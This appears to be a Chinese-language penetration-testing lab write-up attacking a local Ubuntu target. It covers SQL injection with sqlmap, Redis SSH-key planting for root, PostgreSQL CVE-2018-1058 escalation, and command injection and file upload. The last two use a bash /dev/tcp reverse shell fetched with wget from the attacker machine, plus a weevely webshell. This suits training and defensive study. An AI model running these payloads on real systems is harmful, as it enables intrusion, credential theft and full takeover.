1. mysql的sql注入
1.1 環境搭建
攻擊機A:kali
靶機B:Ubuntu
1.1.1 安裝php+mysql+apache
在這里,網上一般的方法都可以,比較簡單。
1.1.2 安裝配置pikachu
pikachu:https://github.com/zhuifengshaonianhanlu/pikachu
1)把下載下來的pikachu文件夾放到web服務器根目錄下(一般在/var/www/html/)。
2)根據實際情況修改inc/config.inc.php里面的數據庫連接配置;
3)訪問http://x.x.x.x/pikachu,會有一個紅色的熱情提示"歡迎使用,pikachu還沒有初始化,點擊進行初始化安裝!",點擊即可完成安裝。
1.2 滲透測試
1.2.1 選擇SQL inject->數字型注入(post)
1.2.2 一般思路:
判斷該功能為查詢輸入的userid是否存在,若存在則返回相關消息。故可判斷可能存在與數據庫連接進行查詢操作。再觀察url:http://192.168.8.9/html/vul/sqli/sqli_id.php和burp抓包
通過post方法傳遞id參數,與后端進行交互。判斷id可能為sql注入點;
1.2.3 滲透過程:
1)在這里可以直接那sqlmap跑,也可以先用burp抓包手動分析。在這里先用burp:打開截斷,方便在瀏覽器查看注入后的變化。把id參數改為:-1 or 1=1
結果如下圖,顯示出所有的user信息,確認存在sql注入:
2)接下來直接拿出sqlmap跑,在命令行輸入:
sqlmap -u "http://192.168.8.9/html/vul/sqli/sqli_id.php" --data="id=1&submit=%E6%9F%A5%E8%AF%A2" --dump-all
直接把數據庫所有內容脫下來(截圖顯示部分):
2. redis未授權訪問
2.1 環境搭建
攻擊機A:kali
靶機B:Ubuntu
2.1.1 安裝redis
1)從官網下載,在命令行輸入:
sudo wget http://download.redis.io/releases/redis-3.2.11.tar.gz
2)下載成功后,解壓:
tar xzf redis-3.2.11.tar.gz
3)進入解壓后的目錄,輸入make執行:
cd redis-3.2.11 make
4)進入src目錄:cd src,將redis-server和redis-cli拷貝到/usr/bin目錄下:
cd src sudo cp redis-server /usr/bin/ sudo cp redis-cli /usr/bin/
5)返回目錄redis-3.2.11,將redis.conf拷貝到/etc/目錄下:
sudo cp redis.conf /etc/
6)編輯etc中的redis配置文件redis.conf:
sudo vim /etc/redis.conf
7)去掉ip綁定,允許除本地外的主機遠程登錄redis服務,在箭頭這一行前面加上#,注釋掉:
關閉保護模式,允許遠程連接redis服務,把下圖的yes改為no:
8)使用/etc/目錄下的reids.conf文件中的配置啟動redis服務:
sudo redis-server /etc/redis.conf
2.1.2 啟動ssh服務
打開另一個終端窗口,命令行輸入:
sudo /etc/init.d/ssh start
2.1.3 在攻擊機A上安裝redis
apt-get install redis
2.2 滲透測試
2.2.1 獲取兩部主機的ip
攻擊機A:192.168.8.3
靶機B:192.168.8.9
2.2.2 連接redis
1)在靶機B中創建ssh公鑰存放目錄:
mkdir /root/.ssh
2)在攻擊機A中生成ssh公鑰和私鑰,密碼設置為空:
ssh-keygen -t rsa
3)進入.ssh目錄:cd .ssh/,將生成的公鑰保存到1.txt:
cd .ssh/ (echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>1.txt
4)將1.txt寫入redis(使用redis-cli -h ip命令連接靶機B,將文件寫入):
cat 1.txt | redis-cli -h 192.168.8.9 -x set crack
5)遠程登錄主機A的redis服務:
redis-cli -h 192.168.8.9
此時,其實已經連接上redis了,如下圖:
2.2.3 使用ssh拿shell
因為該redis還沒有進行任何數據的存儲,就不進行數據的竊取了。接下來展示通過redis拿到系統的shell,擴大戰果。
1)使用CONFIG GET dir命令得到redis備份的路徑:
CONFIG GET dir
2))更改redis備份路徑為ssh公鑰存放目錄(一般默認為/root/.ssh):
CONFIG SET dir /root/.ssh/
3)設置上傳公鑰的備份文件名字為authorized_keys:
CONFIG SET dbfilename authorized_keys
4)檢查是否更改成功(查看有沒有authorized_keys文件),沒有問題就保存然后退出,至此成功寫入ssh公鑰到靶機:
CONFIG GET dbfilename
5)開啟主機A、B的的ssh服務:
sudo /etc/init.d/ssh start
6)在攻擊機A使用ssh免密登錄靶機B:
ssh -i id_rsa root@192.168.8.9
至此,成功登陸,成功執行id命令。成功通過ssh獲取root權限的shell。
3.PostgreSQL 遠程代碼執行(CVE-2018-1058)
3.1 環境搭建
攻擊機A:kali,ip: 192.168.8.3
靶機B:Ubuntu,ip: 192.168.8.8
3.1.1 在靶機B上安裝postgreSQL
由於PostgreSQL遠程代碼執行漏洞影響版本有限,需要安裝某些特定版本。在這里安裝的是9.6版本:
1)添加源:
sudo vim /etc/apt/sources.list.d/pgdg.list
輸入:
deb http://apt.postgresql.org/pub/repos/apt/ xenial-pgdg main
保存並退出。
2)導入安裝密鑰:
wget --quiet -O - https://www.postgresql.org/media/keys/ACCC4CF8.asc | sudo apt-key add -
3)安裝:
sudo apt-get install postgresql-9.6
4)遠程訪問配置:
sudo vim /etc/postgresql/9.6/main/postgresql.conf
把listen_addresses = 'localhost'注釋去掉並改為 listen_addresses = '*'
sudo vim /etc/postgresql/9.6/main/pg_hba.conf
把設置修改為下圖:
5)重新啟動postgresql:
/etc/init.d/postgresql restart
3.1.2 數據庫配置
光有數據庫不行,得加點東西進去
1)連接數據庫:
psql -U postgres
2)在數據庫里,輸入以下命令,創建數據庫和新用戶:(postgres=#開頭的為輸入行)
postgres=# CREATE DATABASE evil; postgres=# CREATE USER chybeta WITH PASSWORD 'chybeta'; CREATE ROLE postgres=# GRANT ALL PRIVILEGES ON DATABASE evil to chybeta; GRANT
3)輸入\q退出,然后使用chybeta用戶登陸evil數據庫:(密碼為chybeta,上一條命令里有)
psql -U chybeta -d evil
4)在public模式中創建一張表以及對應的字段:
evil=> CREATE TABLE public.test AS SELECT 'just test' ::text AS test;
然后會看到返回SELECT 1。接着進行查詢:
evil=> SELECT * FROM test;
會看到返回just test字段。
5)創建一個新的模式(schema),其模式名為chybeta:
evil=> CREATE schema chybeta;
6)在chybeta模式中創建對應的表以及字段:
evil=> CREATE TABLE chybeta.test AS SELECT 'i am chybeta'::text AS test;
7)執行上次相同的查詢語句:
evil=> SELECT * FROM test;
3.2 滲透測試
3.2.1 方法一
1)在攻擊機A上,進行遠程連接靶機B的PostgreSQL::
psql --host 192.168.8.8 --username chybeta -d evil
2)連接數據庫后,執行如下語句:
evil=> CREATE FUNCTION public.upper(varchar) RETURNS TEXT AS $$ ALTER ROLE chybeta SUPERUSER; SELECT pg_catalog.upper($1); $$ LANGUAGE SQL VOLATILE;
在這里,創建了一個名叫upper的惡意函數,當然數據庫里本來也有一個upper函數,但是在這個漏洞里面,會先執行我們自定義的函數,至於原因這里就不展開了。
這個自定義的upper函數的惡意功能就是把用戶chybeta設置成為超級用戶。
3)創建一張表:
evil=> CREATE TABLE public.hehehehe AS SELECT 'chybeta'::varchar AS contents;
4)在這里,先看一下現在的用戶的權限是怎么樣的:
evil=> select rolname,rolsuper from pg_roles;
這里的用戶chybeta還是f,而不是超級用戶postgres的t。
5)接下來的操作是模擬管理員的操作了,他看小寫的chybeta不順眼,想讓他變成大寫(關鍵在於管理員執行惡意函數),執行了以下的操作:
select current_user; select contents from hehehehe; select upper(contents) from hehehehe;
6)看上去一切正常,大寫的大寫。回到用戶chybeta處,查看一下權限:
現在我們就可以使用chybeta用戶遠程登陸PostgreSQL數據庫了,且這是一個超級用戶,如圖同postgres用戶擁有相同的權限。
至此完成對postgresql的滲透。
4.通過命令執行漏洞
4.1 環境搭建
攻擊機A:kali,192.168.8.3
靶機B:Ubuntu,192.168.8.9
在這里就不需要搭建新的環境了,使用1里面的pikachu靶場就可以。
4.2 滲透測試
4.2.1 查看配置文件,獲取數據庫用戶名密碼
1)輸入127.0.0.1查看回顯:
2)輸入127.0.0.1;ls查看回顯:
成功執行ls命令,回顯出了當前目錄下的文件。
3)執行以下命令,找到配置文件(可以通過ls .. ls ../.. 一點一點去找到這個目錄)
127.0.0.1;ls ../../inc
4)執行以下命令就可以看到數據庫的用戶名和密碼了:
127.0.0.1;cat ../../inc/config.inc.php
但是在瀏覽器頁面上看不到有回顯:
此時可以通過burp抓包查看:
也可以在瀏覽器查看源碼:
由此得到數據庫的用戶名密碼:root/null(空密碼)
4.2.2 通過命令執行拿shell
1)在攻擊機上開啟apache服務,並在web根目錄寫一個反彈shell文件:
service apache2 start
反彈shell文件的內容:
#!/bin/bash bash -c "bash -i >& /dev/tcp/192.168.8.3/6688 0>&1"
並命名為abc.sh。
2)在命令輸入窗口輸入:
1&wget -P /tmp http://192.168.8.3/abc.sh
這里,wget命令下載攻擊機上的反彈shell文件,-P指定下載目錄,因為只有該目錄下該用戶具有讀寫執行權限。
3)ls查看一下/tmp目錄下是否有abc.sh文件:
1&ls /tmp
確認已經下載了abc.sh(這里的1.txt是我測試用的文件) 。
4)在攻擊機A上打開偵聽,偵聽6688端口(與abc.sh文件內容對應):
nc -lvp 6688
5)輸入命令執行abc.sh文件:
1&bash /tmp/abc.sh
nc上已經成功連上:
在此,已經拿到了反彈shell了。
4.2.3 獲取交互式shell,並進入Mysql
在這里從反彈shell變成完全交互式shell:
python -c 'import pty; pty.spawn("/bin/bash")'
現在,已經是完全交互式shell了。剛剛我們也已經獲得了mysql的用戶名和密碼:root/null(空密碼)
於是進行mysql登陸:
mysql -u root -p
輸入密碼這一步直接按回車,即可進入數據庫。
show databases; 一下看看:
接下來就是基本的數據庫操作了,想看什么看什么。
5.通過文件上傳漏洞
5.1 環境搭建
攻擊機A:kali,192.168.8.3
靶機B:Ubuntu,192.168.8.9
在這里同樣不需要搭建新的環境了,使用1里面的pikachu靶場就可以。
接下來還需要對環境做一點配置,因為當初配置pikachu的時候也是自己純手搭的。打開靶機B:
進入到/var/www/html/vul/unsafeupload,建立一個uploads文件夾:
sudo mkdir uploads
然后給這個目錄最高權限(最高權限不是安全的,但是方便):
sudo chmod 777 uploads
好了,現在環境就配置好了。
5.2 滲透測試
1)首先寫一個webshell,在這里直接用Kali的工具,用密碼abc創建一個名為shell.php的文件:
weevely generate abc shell.php
打開目錄/usr/share/weevely就可以看到shell.php
2)用weevely連接webshell,用法:weevely <url> <password>
weevely http://192.168.8.9/html/vul/unsafeupload/uploads/shell.php abc
成功連上了,獲得webshell。
3)一樣的,去找配置文件,看泄露的數據庫用戶名和密碼,在/var/www/html/inc目錄找到:
直接cat一下:
如圖數據庫用戶名密碼:root/(空密碼)
4)直接用mysql命令連接:
mysql -u root -p
這樣會發現沒有回顯,還不能連上,所以還是要用python建立一個完全交互式shell:
python -c 'import pty; pty.spawn("/bin/bash")'
然后又發現,沒有任何反應,沒有回顯。那就繼續想辦法,在這里已經拿到了shell了,只是進不了mysql,交互性不夠。然后想起來,剛剛在命令執行漏洞的時候,在web根目錄下建了一個abc,sh的shell腳本文件:
5)接着這里的思路,先在攻擊機a上打開偵聽6688端口,然后在這個shell里執行wget命令:
nc -lvp 6688
wget -P /tmp http://192.168.8.3/abc.sh
因為這里我剛剛操作命令執行漏洞的時候已經存在abc.sh了,這里自動命名為abc.sh.1,但是沒關系,兩個文件內容是一樣的。
6)接下來就是在這個shell里執行這個abc.sh文件:
bash /tmp/abc.sh
nc成功連上。那為什么我一開始用python無法建立完全交互式shell的時候不直接用nc呢?因為我這個靶機的nc有點問題....所以繞了這么大一圈,才用到nc。
7)在這里就可以用Python那條命令了:
python -c 'import pty; pty.spawn("/bin/bash")'
這樣就可以登陸mysql了。select user()看一下當前用戶:
超級用戶,接下來就可以隨便玩了。